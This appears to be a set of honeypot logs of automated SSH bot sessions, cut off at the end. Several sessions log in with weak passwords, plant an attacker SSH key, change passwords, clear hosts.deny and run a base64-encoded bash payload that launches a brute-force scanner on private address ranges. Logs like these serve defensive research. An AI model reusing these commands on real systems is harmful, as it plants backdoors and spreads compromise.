/bin/ls"},{"seq":13,"at":"2026-08-24T19:08:39.208123+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:39.209521+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:39.627753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:39.628711+00:00","kind":"output","latency_ms":null,"data":" 19:08:39 up 4 days, 15:58, 0 user, load average: 0.2, 0.14, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:40.041102+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:40.041758+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:40.459461+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:40.459907+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:40.878215+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:40.878885+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:40 up 4 days, 15:58, 0 user, load average: 0.2, 0.14, 0.17\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:41.297445+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:41.298005+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:41.712409+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:41.712949+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:42.129274+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:42.129968+00:00","kind":"output","latency_ms":null,"data":"accounting"},{"seq":29,"at":"2026-08-24T19:08:42.546991+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:43.435403+00:00","kind":"output","latency_ms":888,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:43.854944+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:44.320375+00:00","kind":"output","latency_ms":465,"data":"24G"},{"seq":33,"at":"2026-08-24T19:08:45.838096+00:00","kind":"input","latency_ms":null,"data":"echo \"accounting accounting\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:46.252753+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:46.859504+00:00","kind":"output","latency_ms":605,"data":""},{"seq":36,"at":"2026-08-24T19:08:47.701264+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:48.502997+00:00","kind":"output","latency_ms":801,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":38,"at":"2026-08-24T19:08:48.917229+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:49.543267+00:00","kind":"output","latency_ms":625,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":40,"at":"2026-08-24T19:08:49.957677+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:50.374854+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.364507+00:00","kind":"output","latency_ms":988,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":43,"at":"2026-08-24T19:08:51.781818+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.491481+00:00","kind":"output","latency_ms":708,"data":"{\"session\":\"muck-out\",\"pid\":24819,\"state\":\"running\",\"target\":\"brumby\",\"notes\":\"cron feed-cycle.timer next=2026-08-24T19:30:00Z\"}"},{"seq":45,"at":"2026-08-24T19:08:52.909103+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.496688+00:00","kind":"output","latency_ms":587,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.643073+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.643395+00:00","kind":"output","latency_ms":null,"data":"accounting"}],"credentials":[{"username":"accounting","password":"accounting","method":"password","accepted":true,"tier":"other"}]} {"id":"67d5f6ce-be29-48d2-a412-7fdabda56506","name":"solemn-leafy-springbok","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.29.151","src_port":41442,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T19:09:01.160303+00:00","ended_at":"2026-08-24T19:09:01.247837+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4113,"events":[{"seq":1,"at":"2026-08-24T19:08:34.295055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T19:08:34.618406+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T19:08:38.198758+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T19:08:38.199301+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T19:08:38.519350+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cAxnhPJRvgpe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-24T19:08:38.834078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-24T19:08:39.151520+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T19:08:39.152231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T19:08:39.465183+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T19:08:40.195882+00:00","kind":"output","latency_ms":730,"data":" total used free shared buff/cache available\nMem: 15888 4120 7312 214 4456 11108"},{"seq":11,"at":"2026-08-24T19:08:40.519051+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T19:08:41.078420+00:00","kind":"output","latency_ms":559,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T19:08:41.397074+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T19:08:41.397357+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T19:08:41.716769+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T19:08:41.717571+00:00","kind":"output","latency_ms":null,"data":" 19:08:41 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T19:08:42.033594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T19:08:42.034301+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T19:08:42.349723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T19:08:42.350364+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T19:08:42.664364+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T19:08:42.665156+00:00","kind":"output","latency_ms":null,"data":"top - 19:08:42 up 4 days, 15:58, 0 user, load average: 0.32, 0.4, 0.2\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T19:08:42.996000+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T19:08:42.996648+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T19:08:43.317767+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T19:08:43.318403+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T19:08:43.634356+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T19:08:43.634778+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-24T19:08:43.953094+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T19:08:45.104332+00:00","kind":"output","latency_ms":1150,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T19:08:45.423190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T19:08:46.195885+00:00","kind":"output","latency_ms":771,"data":"25G"},{"seq":33,"at":"2026-08-24T19:08:47.359067+00:00","kind":"input","latency_ms":null,"data":"echo \"root redhat1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T19:08:47.673142+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T19:08:48.110015+00:00","kind":"output","latency_ms":436,"data":""},{"seq":36,"at":"2026-08-24T19:08:48.795878+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T19:08:49.364858+00:00","kind":"output","latency_ms":568,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T19:08:49.696041+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T19:08:50.489474+00:00","kind":"output","latency_ms":792,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T19:08:50.818307+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T19:08:51.132614+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T19:08:51.605134+00:00","kind":"output","latency_ms":471,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T19:08:51.922091+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T19:08:52.559430+00:00","kind":"output","latency_ms":636,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T19:08:52.896877+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T19:08:53.323000+00:00","kind":"output","latency_ms":425,"data":""},{"seq":47,"at":"2026-08-24T19:09:01.162267+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T19:09:01.163277+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"redhat1","method":"password","accepted":true,"tier":"other"}]} {"id":"eef8ef1f-b5a0-4b1f-87e9-bc3ed4e4ceed","name":"cobalt-quartz-nightjar","protocol":"ssh","channel_kind":"exec","src_ip":"65.181.71.117","src_port":58331,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":688,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T18:23:59.758849+00:00","ended_at":"2026-08-24T18:23:59.971970+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3226,"events":[{"seq":1,"at":"2026-08-24T18:23:18.352610+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T18:23:19.040274+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T18:23:25.482553+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T18:23:25.483586+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T18:23:26.172259+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwertyu\\nQAKk4XNpkUw3\\nQAKk4XNpkUw3\"|passwd|bash"},{"seq":6,"at":"2026-08-24T18:23:26.867055+00:00","kind":"input","latency_ms":null,"data":"echo \"qwertyu\\nQAKk4XNpkUw3\\nQAKk4XNpkUw3\\n\"|passwd"},{"seq":7,"at":"2026-08-24T18:23:27.565681+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T18:23:27.567060+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T18:23:28.258635+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T18:23:28.818402+00:00","kind":"output","latency_ms":557,"data":"15888 5120 1064 0 9703 0"},{"seq":11,"at":"2026-08-24T18:23:29.507908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T18:23:30.423221+00:00","kind":"output","latency_ms":913,"data":"-rwxr-xr-x 1 root root 150K Apr 21 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T18:23:31.112086+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T18:23:31.112732+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T18:23:31.802151+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T18:23:31.802739+00:00","kind":"output","latency_ms":null,"data":" 18:23:31 up 4 days, 15:13, 0 user, load average: 0.03, 0.02, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T18:23:32.489208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T18:23:32.489750+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T18:23:33.175254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T18:23:33.175853+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T18:23:33.861657+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T18:23:33.862495+00:00","kind":"output","latency_ms":null,"data":"top - 18:23:33 up 4 days, 15:13, 0 user, load average: 0.03, 0.02, 0.03\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T18:23:34.552260+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T18:23:34.552811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T18:23:35.238933+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T18:23:35.239821+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T18:23:35.926527+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T18:23:35.927004+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-24T18:23:36.613569+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T18:23:37.377444+00:00","kind":"output","latency_ms":763,"data":"Model name: AMD EPYC 7713 64-Core Processor\n"},{"seq":31,"at":"2026-08-24T18:23:38.064821+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T18:23:39.662468+00:00","kind":"output","latency_ms":1593,"data":"24G"},{"seq":33,"at":"2026-08-24T18:23:42.016130+00:00","kind":"input","latency_ms":null,"data":"echo \"admin qwertyu\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T18:23:42.704853+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T18:23:43.124929+00:00","kind":"output","latency_ms":419,"data":""},{"seq":36,"at":"2026-08-24T18:23:45.160652+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T18:23:45.793776+00:00","kind":"output","latency_ms":630,"data":"\u0997\u057d\ud835\udea2#r1d\n"},{"seq":38,"at":"2026-08-24T18:23:46.483016+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T18:23:47.194236+00:00","kind":"output","latency_ms":710,"data":"\u0997\u057d\ud835\udea2#r1d"},{"seq":40,"at":"2026-08-24T18:23:47.882207+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T18:23:48.570966+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T18:23:48.983862+00:00","kind":"output","latency_ms":412,"data":"1"},{"seq":43,"at":"2026-08-24T18:23:49.673038+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T18:23:50.256102+00:00","kind":"output","latency_ms":581,"data":"1"},{"seq":45,"at":"2026-08-24T18:23:50.946450+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T18:23:59.760442+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T18:23:59.761402+00:00","kind":"output","latency_ms":null,"data":"admin"}],"credentials":[{"username":"admin","password":"qwertyu","method":"password","accepted":true,"tier":"other"}]} {"id":"bc359e45-55ba-409e-93c6-17db2ba5c4c0","name":"shaded-hazy-vervet","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":41514,"username":"user14","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:31:38.860509+00:00","ended_at":"2026-08-24T16:31:38.948523+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3259,"events":[{"seq":1,"at":"2026-08-24T16:31:12.023492+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:31:12.345261+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 